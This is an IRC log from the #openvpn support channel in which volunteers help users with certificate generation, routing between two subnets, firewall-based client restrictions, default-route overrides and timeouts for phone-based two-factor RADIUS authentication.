13:03 -!- bjh4 [~bjh4@67.87.105.111] has joined #openvpn
13:05 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Quit: Leaving]
13:09 -!- MeanderingCode [~Meanderin@173-12-200-221-Albuquerque.hfc.comcastbusiness.net] has joined #openvpn
13:28 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
13:35 -!- mndo [~mndo@bl15-208-101.dsl.telepac.pt] has quit [Ping timeout: 248 seconds]
13:35 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
13:45 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
13:59 -!- 45PABRYG3 [~grey@cpe-76-171-192-216.socal.res.rr.com] has quit [Read error: Connection reset by peer]
14:13 -!- mythos [~mythos@unaffiliated/mythos] has joined #openvpn
14:15 < mythos> hello there. i'm used to create client certificates with "source ./vars && ./build-key <name>". but the crt-file is now an empty. i'm using a debian 7 with openvpn 2.2.8. any suggestions?
14:15 < mythos> s/an//
14:50 -!- brute11k1 [~brute11k@89.249.231.17] has quit [Quit: Leaving.]
14:57 < hg_5> client1.crt is empty?
14:57 < hg_5> mythos
14:58 < hg_5> pastebin your vars.bat configuration
15:05 -!- emmanuelux [~emmanuelu@vpn7.freedom-ip.com] has quit [Ping timeout: 256 seconds]
15:06 <@krzee> i suggest using a real version of openvpn
15:06 <@krzee> :D
15:08 <@krzee> seeing as 2.2.8 has never, and hopefully will never exist
15:08 <@krzee> (that would be a whole lot of new bugs found in 2.2.2)
15:11 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:12 <+EugeneKay> I like how this is going
15:13 <@krzee> Maverick0984, whats phonefactor?
15:13 <@krzee> EugeneKay, how whats going?
15:13 <+EugeneKay> The bullshit-o-meter.
15:16 <@krzee> =]
15:19 < hg_5> hm i still have problem with router tl-wr1043nd it can't redirect ip when connected to tomato router with open vpn server
15:19 < hg_5> ....
15:20 <@krzee> !logs
15:20 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
15:20 <@krzee> !configs
15:20 <@vpnHelper> "configs" is (#1) please pastebin your client and server configs (with comments removed, you can use `grep -vE '^#|^;|^$' server.conf`), also include which OS and version of openvpn. or (#2) dont forget to include any ccd entries or (#3) on pfSense, see http://www.secure-computing.net/wiki/index.php/OpenVPN/pfSense to obtain your config
15:20 <@krzee> @ hg_5  ^
15:21 -!- valparaiso [~valparais@pdpc/supporter/student/valparaiso] has joined #openvpn
15:22 < hg_5> tomato 1: http://puu.sh/1Wu43, tomato 2: http://puu.sh/1Wu4z , tl-wr1043nd client config: http://pastebin.com/76Drczwj
15:22 <@krzee> oh hell no
15:22 <@vpnHelper> Title: puush / home (at puu.sh)
15:23 <@krzee> dunno what those images are, but:
15:23 <@krzee> !router
15:23 <@vpnHelper> "router" is if you are using one of those hacked up linksys linux routers, and you are not logging... dont expect help until you turn on logging so you can post them
15:23 <@krzee> goes for configs too
15:23 <@krzee> of course if someone else wants to deal with it, thats fine
15:23 -!- Cpot-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has joined #openvpn
15:23 <@krzee> me, i only support openvpn, and openvpn has no gui
15:24 <@krzee> in your client config, lines 7 and 17 are the same thing
15:24 <@krzee> ill check back for server config and logs
15:26 -!- Cpt-Oblivious [Cpt-Oblivi@a202101.upc-a.chello.nl] has quit [Ping timeout: 276 seconds]
15:26 -!- tttttuouuo [~valparais@ARennes-257-1-165-203.w2-10.abo.wanadoo.fr] has joined #openvpn
15:27 -!- tttttuouuo [~valparais@ARennes-257-1-165-203.w2-10.abo.wanadoo.fr] has quit [Client Quit]
15:28 -!- valparaiso [~valparais@pdpc/supporter/student/valparaiso] has quit [Quit: valparaiso]
15:29 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:33 -!- emmanuelux [~emmanuelu@vau92-2-82-228-217-1.fbx.proxad.net] has joined #openvpn
15:35 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has joined #openvpn
15:36 < mythos> hg_5, oh, you are right. the version is 2.2.1-8
15:37 < mythos> and ./pkitool <name> did the job
15:37 < mythos> i don't know, why the script fails, when --interacitve is used
15:39 < hg_5> yeah krzee sorry :D:D
15:40 < hg_5> krzee here is my server config of router's with tomato http://pastebin.com/hwJMx9Pr
15:44 <@krzee> 2 of 4, keep going =]
15:45 <@krzee> oh and i see your comp-lzo doesnt match exactly, make them identical even if it works currently
15:46 -!- laner [~Lane@cpe-66-65-44-48.nyc.res.rr.com] has quit [Quit: Computer has gone to sleep.]
15:46 <@krzee> also, if theres ccd entries, they are needed
15:46 <@krzee> and remember to raise verb before gathering the logs
15:54 -!- MeanderingCode [~Meanderin@173-12-200-221-Albuquerque.hfc.comcastbusiness.net] has quit [Read error: Connection reset by peer]
15:59 < hg_5> krzee what 2 more? what logs exactly?
16:01 < hg_5> krzee so what exactly is needed, paste this: "client-config-dir ccd" into client config on tl-wr1043nd ?
16:02 < tabakhase> is openvpn the right tool to connect 2 networks? say 2 hosts, both connected to a vLAN & by internet and i want to create a bridge that "all hosts in the vlans can use without any bigger configuration overhead on the clients"
16:04 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has joined #openvpn
16:05 < eugenmayer> hello, iam trying to setup a UDP and TCP server to route into the same network. UDP/TCP both run on port 10002, UDP is 10.77.0.0/24  .. TCP is 10.77.1.0/24 … bascially iam doing this
16:05 < eugenmayer> http://pastie.org/6031230
16:05 < hg_5> krzee its also from firewall on tomato's router http://pastebin.com/4gqaMbMq
16:06 < eugenmayer> now i can ping 10.77.0.1 from a client connected to 10.77.1.0 .. but i cannot access any client. for both networks client-to-client is allowed
16:07 < eugenmayer> iam currently reading docs at http://openvpn.net/index.php/open-source/downloads.html .. but i seem to have made a mistake. Can someone give me a hint?
16:07 <@vpnHelper> Title: Community Downloads (at openvpn.net)
16:07 < eugenmayer> sorry...https://community.openvpn.net/openvpn/wiki/BridgingAndRouting
16:07 <@krzee> hg_5, this:
16:07 <@vpnHelper> Title: BridgingAndRouting – OpenVPN Community (at community.openvpn.net)
16:07 <@krzee> !logs
16:07 <@vpnHelper> "logs" is (#1) is please pastebin your logfiles from both client and server with verb set to 5 or (#2) In the Windows client(OpenVPN-GUI) right-click the status icon and pick View Log or (#3) In the OS X client(Tunnelblick) right-click it nd select Copy log text to clipboard or (#4) if you dont know how to find your logs, see !logfile
16:07 <@krzee> hg_5, no do not put ccd on the client, do you know what ccd is?
16:12 -!- Azrael_- [~idjfijdi@adsl-62-167-40-41.adslplus.ch] has quit [Ping timeout: 276 seconds]
16:14 < eugenmayer> i added a traceroute : http://pastie.org/6031252
16:17 <@krzee> eugenmayer,
16:17 <@krzee> !route
16:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
16:17 <@krzee> once you understand that well enough, the rest is easy
16:18  * eugenmayer reading
16:18 <@krzee> you've read it a few times before havnt ya?
16:18 <@krzee> i know i remember ya, dont remember if you did routing before tho ;]
16:19 < eugenmayer> well iam trying to fiddle my way through without going on the nevs of the people in this channel. Well but i think i fail on that last point :)
16:19 <@krzee> does 10.77.0.x have a route to 10.77.1.0?
16:20 <@krzee> *shrug* i cant remember you being on my nerves before
16:21 < hg_5> krzee http://pastebin.com/SAh8Q9ML
16:21 <@krzee> eugenmayer, you may also want more permissive forward rules during testing
16:22 <@krzee> just blindly allow all forward traffic from any tun interface til you get it working
16:22 <@krzee> THEN tune your firewall
16:22 < eugenmayer> krzee: FW is off for now
16:23 <@krzee> thats not good either
16:23 < eugenmayer> well yes the client (10.77.1.2) has this route: http://screencast.com/t/AUjQLbdL22Pb
16:23 <@vpnHelper> Title: 2013-02-02_2322 - EugenMayer's library (at screencast.com)
16:23 <@krzee> unless by off you mean set to allow everything
16:23 < eugenmayer> off means : http://pastie.org/6031297
16:24 <@krzee> cool
16:24 <@krzee> and i dunno what that gui is, but i know its not openvpn
16:24 < eugenmayer> well the backend is openvpn, just a OSX gui for that
16:25 <@krzee> config in openvpn for now, then move on to whatever gui you want later
16:25 < eugenmayer> i know, thats not the best case. If you want me to do that, i can just use a debian client, no issues
16:25 < eugenmayer> krzee: thats "osx"..well.. :)
16:25 <@krzee> on the server that uses 10.77.0.1 you want push "route 10.77.1.0 255.255.255.0"
16:25 <@krzee> and visa versa
16:26 <@krzee> and i use osx, i have NEVER used some gui to configure openvpn
16:26 <@krzee> so its not osx
16:26 <@krzee> its the user ;]
16:26 -!- Cpot-Oblivious is now known as Cpt-Oblivious
16:27 < eugenmayer> krzee: well ok, i did the route on the 10.77.1.0 side, but not the other side. *shrug*
16:27 <@krzee> no route back = no communication
16:27 < eugenmayer> so basically
16:27 < eugenmayer> server 10.77.1.0 255.255.255.0
16:27 < eugenmayer> push "route 10.77.0.0 255.255.255.0"
16:27 < eugenmayer> —
16:27 < eugenmayer> on the one side
16:27 <@krzee> yep
16:28 < eugenmayer> server 10.77.0.0 255.255.255.0
16:28 < eugenmayer> push "route 10.77.1.0 255.255.255.0"
16:28 < eugenmayer> --
16:28 <@krzee> yep
16:28 < eugenmayer> on the other, right? ok, testing
16:28 <@krzee> and of course you need ip forwarding on in the OS as well
16:28 <@krzee> (not just the firewall)
16:28 < eugenmayer> krzee: you mean on the server i guess ( is on )
16:29 < eugenmayer> vpn :: /etc/openvpn » sysctl -w net.ipv4.ip_forward=1
16:29 < eugenmayer> net.ipv4.ip_forward = 1
16:29 <@krzee> yes the server
16:29 <@krzee> !ipforward
16:29 <@vpnHelper> "ipforward" is please choose between !linipforward !winipforward !osxipforward and !fbsdipforward
16:29 < eugenmayer> (its linux, debian)
16:30 <@krzee> !learn ipforward as ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc
16:30 <@vpnHelper> Joo got it.
16:30 <@krzee> !forget ipforward 2
16:30 <@vpnHelper> Joo got it.
16:30 < eugenmayer> ok, so i did thouse routes, restarted both servers and the client, but still i cant ping 10.77.0.102
16:30 <@krzee> !learn ipforward as ip forwarding is needed any time you want packets to flow from 1 interface to another, so from tun to eth, eth to tun, tun to tun, etc etc.  it must be enabled in the kernel AND allowed in the firewall
16:30 <@vpnHelper> Joo got it.
16:30 < eugenmayer> its working!
16:31 <@krzee> that was a magical 2 seconds
16:31 < eugenmayer> chef turned on the fw on the .102 in the meantime..
16:31 <@krzee> from not working to working :D
16:31 < eugenmayer> yeah, ping did fail since the fw on the .102 was on again
16:31 <@krzee> gotchya =]
16:32 <@krzee> i was about to say to ping from .102 to .1 on the other subnet, to test .102's firewall :D
16:32 < eugenmayer> krzee++
16:32 <@krzee> but you beat me to the logical testing =]
16:32 < eugenmayer> You are my personal hero.
16:32 <@krzee> thanks, we actually keep track of karma here now
16:32 <@krzee> !karma
16:32 <@vpnHelper> "karma" is nick++ adds karma nick-- adds bad karma, as seen in !ircstats
16:32 <@krzee> :D
16:32 < eugenmayer> !karma krzee
16:33 <@krzee> nah you did it already
16:33 <@krzee> !ircstats
16:33 <@vpnHelper> "ircstats" is (#1) See http://secure-computing.net/logs/openvpn.html for all-time IRC stats. or (#2) See http://secure-computing.net/logs/openvpn-devel.html for all-time dev channel IRC stats.
16:33 <@krzee> thats where ya see it
16:33 < eugenmayer> i wonderful :)
16:33 < eugenmayer> looks like you are rather the hero of this channel..
16:33 < eugenmayer> well now i have to switch the VPN server firewall on and see what happens
16:34 <@krzee> it looks like EugeneKay would disagree
16:34 < eugenmayer> but i guess thats simple FW log debugging then
16:34 <+EugeneKay> Mrh
16:34 < eugenmayer> EugeneKay doesnt count, he is like the openvpn-server. He cant be taken into account
16:34 < eugenmayer> Its unfair competition
16:35 < eugenmayer> (hope nobody gets that wrong, that was just a joke..i was banned in #java recently for making a similar joke..before i could explain..)
16:36 <@krzee> im sure you're fine, as long as you dont talk bad about EugeneKay's furballs ;]
16:36 <+EugeneKay> Oh, didn't know pisg does karma
16:36 <+EugeneKay> Is that new in 0.73?
16:37 < eugenmayer> Feb  2 23:36:29 vpn kernel: [1426805.431803] Shorewall:FORWARD:REJECT:IN=tun12 OUT=tun2 SRC=10.77.1.2 DST=10.77.0.102 LEN=64 TOS=0x00 PREC=0x00 TTL=63 ID=30073 DF PROTO=TCP SPT=61915 DPT=2201 WINDOW=65535 RES=0x00 SYN URGP=0
16:37 < eugenmayer> hehe, FW on :) but well thats an easy task
16:37 < eugenmayer> after you helped me with the harder nuts
16:44 <@krzee> yep, everything left should be firewall
16:48 -!- raidz_away [~raidz@openvpn/corp/admin/andrew] has quit [Ping timeout: 252 seconds]
16:50 -!- raidz_away [~raidz@raidz.im] has joined #openvpn
16:50 -!- raidz_away is now known as raidz
16:50 -!- raidz [~raidz@raidz.im] has quit [Changing host]
16:50 -!- raidz [~raidz@openvpn/corp/admin/andrew] has joined #openvpn
16:50 -!- mode/#openvpn [+o raidz] by ChanServ
16:53 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
16:55 < eugenmayer> krzee: just for my docs, push "route 10.77.0.0 255.255.255.0"
16:55 < eugenmayer> i though that pushes a route to the client, but thats wrong, right? Thats for the server
16:58 <@krzee> !push
16:58 <@vpnHelper> "push" is usage: push <command> , goes in the server config and makes the command act as if it was in the client config, can be used in ccd entries
16:58 < eugenmayer> well, that means actually iam right? so thouse routes are for the client?
16:59 < eugenmayer> (well kind of makes no sense to me, since the client is 10.77.1.0 ..and we also added it to 10.77.0.0
17:00 < kisom> eugenmayer: If you push a route and the client has the pull directive, then the route will be added at the client side.
17:01 < eugenmayer> hm
17:19 -!- eugenmayer [~EugenMaye@HSI-KBW-109-193-196-063.hsi7.kabel-badenwuerttemberg.de] has quit [Quit: Leaving.]
17:26 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
17:36 -!- kunago [~Thunderbi@ip4-83-240-40-78.cust.nbox.cz] has joined #openvpn
17:38 < kunago> Hi. Could anyone please give me a hint on how I could possibly limit certain connected clients on my VPN subnetwork? I am connecting 5 different networks via OpenVPN and would like to limit the access of some IP-based clients to the other parts of my VPN network, such as remote subnets.
17:39 < kunago> I am using iptables on my VPN server which I am trying to use.
17:40 < kunago> I read all different possibilities found but nothing really worked.
17:40 <@krzee> im not 100% of what you mean, do you mean you want certain clients to not access certain subnets? or do you mean you dont want them connecting to certain servers?
17:41 <@krzee> both are doable, i just need to know which is the goal ;]
17:41 <@krzee> oh, or is there only 1 server and 4 networks behind clients?
17:42 < kunago> I don't want clients with certain IP addresses to access certain subnets. Lets say my range for one location is 192.168.1.x/24 and 192.168.2.x/24 for another one. And I have some chosen range of clients on the first subnets that I would like to deny the access to the other subnet.
17:42 < kunago> Yes.
17:43 < kunago> One server connecting 5 networks having like 20 clients each.
17:43 < kunago> I hope it makes sense.
17:45 < kunago> I am pushing all the subnets to each of the subnets. Basically as it is, each connected client sees/can see all clients on all subnets.
17:48 < kunago> I know I can limit access of subnets to other subnets via the "ccd" directory which I am doing with success. Now I am trying to limit certain clients on subnets to be able to access other subnets.
17:55 -!- mattock_afk is now known as mattock
18:04 <@krzee> kunago, you must use firewall
18:04 <@krzee> you can limit the added routes, but it means nothing
18:04 <@krzee> because anyone can add a route anyways
18:04 -!- mattock is now known as mattock_afk
18:05 <@krzee> also test what happens when you manually change their IP to another subnet
18:05 <@krzee> you may end up wanting to use topology net30 instead of topology subnet
18:06 <@krzee> (net30 is the default)
18:07 -!- Porkepix [~Porkepix@79.31.185.239] has quit [Quit: Computer has gone to sleep.]
18:07 -!- exed [~maximus@host-188-174-219-251.customer.m-online.net] has joined #openvpn
18:09 < kunago> Well, I may not have explained how the network looks like. So let me re-expain:
18:09 < kunago> - server
18:09 < kunago>   -- connecting client (usually router or any other box establishing connection with server, representant of a subnet)
18:09 < kunago>     --- client PC connected to router (having automatically access to all subnets through router connected to the server)
18:14 -!- mattock_afk is now known as mattock
18:17 <@krzee> thats what i expected
18:17 <@krzee> !route
18:17 <@vpnHelper> "route" is (#1) http://www.secure-computing.net/wiki/index.php/OpenVPN/Routing or https://community.openvpn.net/openvpn/wiki/RoutedLans (same page mirrored) if you have lans behind openvpn, read it DONT SKIM IT or (#2) READ IT DONT SKIM IT! or (#3) See !tcpip for more info about a more basic networking guide
18:17 <@krzee> like that, but with 2 more networks ;]
18:22 < kunago> Doing this, I mean I am routing etc. I know I can limit seeing LANs via CCD but I am trying to limit client PCs connected to clients of VPN server (so basically the layer 3 of the above description). The above does refer to whole LANs as I understand it, not to connected clients for which I assume I need to use iptables in order to limit the access. Or am I wrong?
18:22 <@krzee> <krzee> kunago, you must use firewall
18:22 <@krzee> you are not wrong, you must use the firewall on your server
18:24 <@krzee> if you were to limit "seeing lans" by limiting routes added, it will not matter
18:24 <@krzee> if im a client, and you only give me the routes you want me to have, what stops me from adding the routes you DONT want me to have
18:24 <@krzee> you must firewall me off if you dont want me accessing stuff, but have things like ip forwarding and return routes setup for the other clients that *should* have access
18:25 < kunago> Good. I am using iptables on the server. The only thing is me not being able to set it up since no settings really work. I was just trying to get help here little someone knew. I was using the FILTER table and was trying to filter by IP address (source or destination) etc. Nothing was preventing clients from pinging the forbidden network.
18:25 <@krzee> the forward chain =]
18:26 <@krzee> and do not use client-to-client in your server
18:26 < kunago> Yeah, tried as well with no luck.
18:26 <@krzee> !c2c
18:26 <@vpnHelper> "c2c" is "client-to-client" is with this option packets from 1 client to another are routed inside the server process. without it packets leave the server process, hit the kernel (firewall, routing table) and if allowed by firewall and routed back to server process, they go to the client. you use this option when you do not want to use selective firewall rules on what clients can access things behind
18:26 <@vpnHelper> other clients
18:26 < kunago> OK, that might be it, the C2C setting.
18:26 <@krzee> oh you had it enabled?
18:26 <@krzee> ya that bypasses your kernel all together, no firewall rules apply
18:26 <@krzee> keeps it all inside openvpn
18:28 < kunago> Oh, alright, my bad then. That pretty much explains it then.
18:28 <@krzee> that fixed it?
18:29 <@krzee> and if you really wanna get all ninja
18:29 -!- exed [~maximus@host-188-174-219-251.customer.m-online.net] has quit [Quit: exed]
18:29 <@krzee> you could use a --learn-address script to apply firewall rules, and even have them apply if the client changes his address!
18:30 < kunago> I will need to verify this and write some firewall rules to test but looking at the description that must be the solution - to turn it off and write rules.
18:30 <@krzee> which could read from a db or anything you say!
18:30 < kunago> I am using static addresses for all known clients. The unknown clients should have the red light for anything.
18:30 -!- Cpt-Oblivious [~Cpt-Obliv@a202101.upc-a.chello.nl] has quit [Ping timeout: 245 seconds]
18:30 <@krzee> yep, its certainly at least 1 solution, after you test we'll see if theres more issues or not =]
18:31 <@krzee> but if all else was good, then thats it!
18:31 <@krzee> oh i see
18:31 <@krzee> you may like this too if you decide to also limit routes in ccd entries
18:32 <@krzee> ccd/DEFAULT is read when ccd/common-name doesnt exist
18:32 -!- nickanderson_afk is now known as nickanderson
18:35 < kunago> Anyways, thank you a lot for your help. I will see whether the C2C line solves the issue (it takes a while to restart everything and do something useful as I am not a pro), however, I am really glad you were willing to help me with this. Back 2 years when I started with OpenVPN and no clue at all, you were here to help. Back then it was just 2 LANs (quite simple back then) and a few clients. Now it's grown into something wilder and working
18:36 -!- nickanderson is now known as nickanderson_afk
18:36 -!- mattock is now known as mattock_afk
18:36 -!- NuclearMeltdown [~rep@unaffiliated/antiliberal] has joined #openvpn
18:36 < NuclearMeltdown> How do you prevent openVPN from changing the default route?
18:37 < NuclearMeltdown> I have this 128.0.0.0 netmask 128.0.0.0 and 0.0.0.0 same nm going to VPN router
18:37 < NuclearMeltdown> why it's /31 I have no idea to begin with
18:37 <@krzee> easiest way, by not pushing the route to the client
18:38 <@krzee> but since you ask, i assume you dont run the server, right?
18:38 < NuclearMeltdown> right
18:38 <@krzee> kunago, cool! glad it helped before and hope it helps again =]
18:38 < NuclearMeltdown> I removed it by hand, and today it put it back by itself
18:38 <@krzee> i thought your nick was familiar kunago
18:39 <@krzee> !factoids search route
18:39 <@vpnHelper> 'winroute', 'iroute', 'router', 'dlink_static_route', 'external_routes', 'route_override', 'splitroute', 'route_outside_openvpn', 'route_outside_ovpn', 'routebyapp', and 'route'
18:39 <@krzee> hmm
18:39 <@krzee> !route_override
18:39 <@vpnHelper> "route_override" is (#1) https://forums.openvpn.net/viewtopic.php?f=15&t=7161 for how to override --redirect-gateway for a certain subnet or (#2) to see how to make it so the client will still reply to requests to its public ip over the internet and not the vpn see !splitroute
18:39 <@krzee> you could do that with 4 route entries
18:40 <@krzee> just like def1 uses 2 entries to override defualt gateway
18:40 <@krzee> !def1
18:40 <@vpnHelper> "def1" is (#1) used in redirect-gateway, Add the def1 flag to override the default gateway by using 0.0.0.0/1 and 128.0.0.0/1 rather than 0.0.0.0/0. This has the benefit of overriding but not wiping out the original default gateway. or (#2) please see --redirect-gateway in the man page ( !man ) to fully understand or (#3) push "redirect-gateway def1"
18:40 <@krzee> or you could use route-nopull and manually add the needed routes for your vpn to work
18:40 <@krzee> and i think theres even a script hook that could add the routes you need and your script could ignore the default routes
18:40 <@krzee> !script
18:40 <@vpnHelper> "script" is see http://openvpn.net/index.php/open-source/documentation/manuals/69-openvpn-21.html#lbAR for a list of places scripts can hook into openvpn
18:41 <@krzee> so theres a couple ways, use what feels warm and fuzzy to you
18:42 < NuclearMeltdown> route-nopull
18:42 < NuclearMeltdown> maybe that thanks
18:43 < NuclearMeltdown> also, incoming connections to my actual IP get send back through the VPN. I'm not sure what happens. Does the return IPv4 address get set to the VPN and then the connection host doesn't recognize the IP and drops the packet? Or does it keep the proper return address (the same used to connect with) and then
18:43 < NuclearMeltdown> send it to the VPN but then it gets dropped since the sending address is outside the allowed range on the VPN firewall
18:49 -!- gffa [~unknown@unaffiliated/gffa] has quit [Quit: sleep]
18:51 <@krzee> its because of redirect-gateway
18:52 <@krzee> if you wanted to keep redirect-gateway and still serve to the internet from internet-ip,
18:52 <@krzee> !splitroute
18:52 <@vpnHelper> "splitroute" is (#1) https://forums.openvpn.net/topic7175.html to see how to add a second routing table so you can use --redirect-gateway AND still serve things to the internet or (#2) see !route_override for how to override --redirect-gateway for a certain subnet
18:54 -!- Eagleman [~Eagleman@5.45.183.189] has joined #openvpn
18:56 -!- hg_5 [~chatzilla@unaffiliated/hg-5/x-8664886] has quit [Ping timeout: 248 seconds]
18:57 -!- mndo [~mndo@188.80.208.101] has joined #openvpn
19:09 -!- kunago [~Thunderbi@ip4-83-240-40-78.cust.nbox.cz] has quit [Remote host closed the connection]
19:14 -!- Eagleman [~Eagleman@5.45.183.189] has quit [Read error: Connection reset by peer]
19:15 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has joined #openvpn
19:18 -!- Valcorb [~Valcorb@d54C68BC0.access.telenet.be] has quit [Read error: Connection reset by peer]
19:29 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Ping timeout: 255 seconds]
19:30 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
19:42 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has quit [Ping timeout: 240 seconds]
19:44 -!- WinstonSmith [~WinstonSm@84.131.49.60] has joined #openvpn
19:44 -!- WinstonSmith [~WinstonSm@84.131.49.60] has quit [Changing host]
19:44 -!- WinstonSmith [~WinstonSm@unaffiliated/winstonsmith] has joined #openvpn
19:47 -!- Eagleman [~Eagleman@546BCD9F.cm-12-4d.dynamic.ziggo.nl] has quit []
19:48 -!- julius_ [~julius@141.41.92.122] has quit [Ping timeout: 276 seconds]
20:10 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has quit [Read error: Connection reset by peer]
20:10 -!- MarKsaitis [~MarKsaiti@cpc4-rdng22-2-0-cust932.15-3.cable.virginmedia.com] has joined #openvpn
20:13 -!- mndo [~mndo@188.80.208.101] has quit [Quit: going home]
20:41 -!- [fred] [fred@konfuzi.us] has quit [Ping timeout: 246 seconds]
20:46 < NuclearMeltdown> Why does it use /31 as the netmask for the two default routes?
20:46 <+pekster> Windows compatability
20:46 < Maverick0984> krzee: PhoneFactor is a program that essentially is a Radius server that also calls your phone and provides 2 factor authentication
20:46 <+pekster> You can use whatever you want in p2p topology NuclearMeltdown
20:46 < NuclearMeltdown> doh
20:47 < Maverick0984> problem is, every openvpn client i have found times out the auth process before the phone call can be completed
20:47 <+pekster> eg: 'ifconfig 192.168.1.2 172.16.10.11' is completely valid in PtP on non-Windows. Very silly, but allowed.
20:47 < NuclearMeltdown> to have the default gateway outside of the network range?
20:47 <+pekster> Maverick0984: You can increase your timeout time. But really, use a better 2-factor method like the google authenticator
20:48 <+pekster> (Unless you really can't use a more modern digital version with --user-pass, like RSA ID or Google Auth)
20:48 < Maverick0984> not really my choice which authenticator to use, it's a microsoft product now, it isn't a junk system
20:49 < Maverick0984> in any case, how do i increase the timeout time?
20:49 <+pekster> You can write scripts to use whatever you want on the backend, independent of the radius :\
20:49 < Maverick0984> that is what i have been unable to find
20:49 <+pekster> For what, the TLS?
20:49 < Maverick0984> i think it is client side that is the issue
20:49 <+pekster> --tls-timeout or --connect-timeout is probably what you want
20:49 -!- brute11k [~brute11k@89.249.230.122] has joined #openvpn
20:49 <+pekster> Oh, the connect is just tcp, so nvm
20:50 <+pekster> Hmm, there's another timeout option I believe I'm not seeing. IIRC it's something like 60 seconds by default, but I need to find it first :)
20:51 < Maverick0984> the vpn has to be stupid easy, we aren't purchasing an RSA ID system, and a lot of people would be confused by Google Auth
20:51 <+pekster> A system they click the app and type the numbers?
20:51 <+pekster> Okay...
20:51 < Maverick0984> not tech savvy people
20:51 -!- [fred] [fred@konfuzi.us] has joined #openvpn
20:51 < Maverick0984> and not all of the users even have smartphones
20:51 < Maverick0984> so it won't work
20:52 < Maverick0984> after inputting user/pass, i just need it to wait at least 10-15 secs, instead of the 2-3 it actually does wait
20:52 <+pekster> Oh, it's that short? Maybe it is --tls-timeout then
20:52 < Maverick0984> it's very short, yeah
20:52 <+pekster> See that option and it may solve your issue
20:52 < Maverick0984> the call makes it and during the answer it times out
20:52 <+pekster> (default=2 in my 2.3.0 manpage)
20:53 <+pekster> Set that to 30 or something and you should have better results
20:53 <+pekster> The downside is that actual loss of the TLS session will take that long to detect
20:53 <+pekster> But, I presume you want the trade-off
20:53 <+pekster> I dunno, rather than a call, I'd just use x509 certs + user/pass if you wanted 2-factor. But maybe it's an org requirement or such to use your fancy calling system
20:55 <@krzee> Maverick0984, you can do it, it would be a radius script
20:55 <@krzee> radius auth is nothing new in combination with openvpn
20:56 <@krzee> sorry if that was already said, i didnt read all scroll yet
20:56 < Maverick0984> i didn't think it was, it was the phone part that is the issue, disabling the phone auth, and it works great
20:57 <@krzee> "it's a microsoft product now, it isn't a junk system"  we must have different definitions of "junk"  :D
20:57 < Maverick0984> heh
20:59 <+pekster> Call-to-verify systems have fallen out of populatiry for a reason
20:59 <+pekster> ;)
20:59 <@krzee> [18:46]  <NuclearMeltdown> Why does it use /31 as the netmask for the two default routes?
20:59 <@krzee> NuclearMeltdown, it doesnt, it uses /1
20:59 <@krzee> and it does that to override the default route (/0) without deleting it
20:59 < Maverick0984> pekster: unfortuantely that doesn't help me :-/ do you have a link to that manpage?
20:59 <+pekster> Oh, I read that too fast (I assumed he meant the /31 in a unix PtP, :x
20:59 <@krzee> but /31 doesnt even exist =]
21:00 <+pekster> There's an RFC for using /31's in PtP setups
21:00 <@krzee> oh allllrighty then :D
21:00 <+pekster> Of course, in ipv6 you just use an entire /64 if you want it ;)
21:01 <@krzee> last time i douced your ipv6 in holy water you came back with an upgraded cloak (funny coincidence in timing)
21:01 <+pekster> That, and I'm on freenode via ipv6 now ;)
21:01 <+pekster> Someday you'll join us
21:02 <@krzee> yep, its bound to happen eventually
21:02 <+pekster> Land of lots of IPs, and sometimes bad ISPs that try to give you anything less than a /56
21:02 < Maverick0984> krzee: so you are saying the work needs to be done on the radius server then? not the client?
21:02 <@krzee> Maverick0984, nope, i say you simply need a script to handle it all
21:02 <@krzee> on the server
21:02 <@krzee> and a script on the client to collect the info from client
21:02 <@krzee> !authpass
21:02 <@vpnHelper> "authpass" is (#1) please see --auth-user-pass-verify in the manual to learn how to force clients to use passwords in addition to certs or (#2) or to ONLY use passwords (no certs, highly NOT recommended) also use --client-cert-not-required or (#3) and if you want the login name to be used as the common-name for things like ccd entries, use --username-as-common-name
21:03 <@krzee> one of those, but for radius
21:03 <+pekster> The deal is his radius has a callout backend, so the timeout needs to go up to support the insane delay that'll cause
21:03 <+pekster> ie: --client-connect is going to effectively block until that's done
21:04 < Maverick0984> yeah, i don't need more info inputted on the client side
21:04 <@krzee> oh well that could be a big problem
21:04 <@krzee> if your authpass wont happen quick enough, you'll be fubar
21:04 <+pekster> Not with --tls-timeout (I think client-side only is fine, although you may need that both sides)
21:04 <@krzee> whats it calling out to?
21:04 <+pekster> a phone. A literal call ;)
